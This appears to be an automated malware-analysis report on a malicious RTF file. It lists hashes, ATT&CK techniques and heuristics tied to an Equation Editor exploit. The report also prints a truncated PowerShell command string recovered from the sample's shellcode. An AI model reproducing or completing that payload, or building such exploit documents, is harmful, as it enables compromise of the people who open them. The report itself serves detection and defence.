RTF malware analysis — malicious · 5be1e06ddb704120

MALICIOUS

RTF

9.5 KB First seen: 2021-07-07

MD5: 0f8c4d26143f8a2ca2d39ec72d2a7d95 SHA-1: 52bf5a1093c091bdee127cf79d52c81de0871549 SHA-256: 5be1e06ddb70412007e5aedbfb7c39965278555fa927f29a6d7aaff176940a4c

140 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings further supports this attack vector.

Heuristics 4

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000004b.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x4B	3609 bytes
SHA-256: `707e9d8ab5c155da2f20e817974a7a10968d9274dd02d57ef76671496614c6ea`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe "$p=0;$u=$env:userprofile;$v=$u+'\Music\Windows Music';if(![System.IO.Directory]::Exists($v)){DO{try{$word=[Runtime.Interopservices.Marshal]::GetActiveObE

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